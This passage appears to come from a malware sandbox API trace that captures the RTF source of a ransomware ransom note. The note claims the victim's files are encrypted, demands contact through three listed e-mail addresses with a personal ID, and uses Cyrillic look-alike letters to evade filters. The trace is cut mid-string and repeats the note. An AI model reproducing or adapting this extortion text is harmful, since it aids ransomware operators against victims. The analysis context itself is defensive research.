-m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur 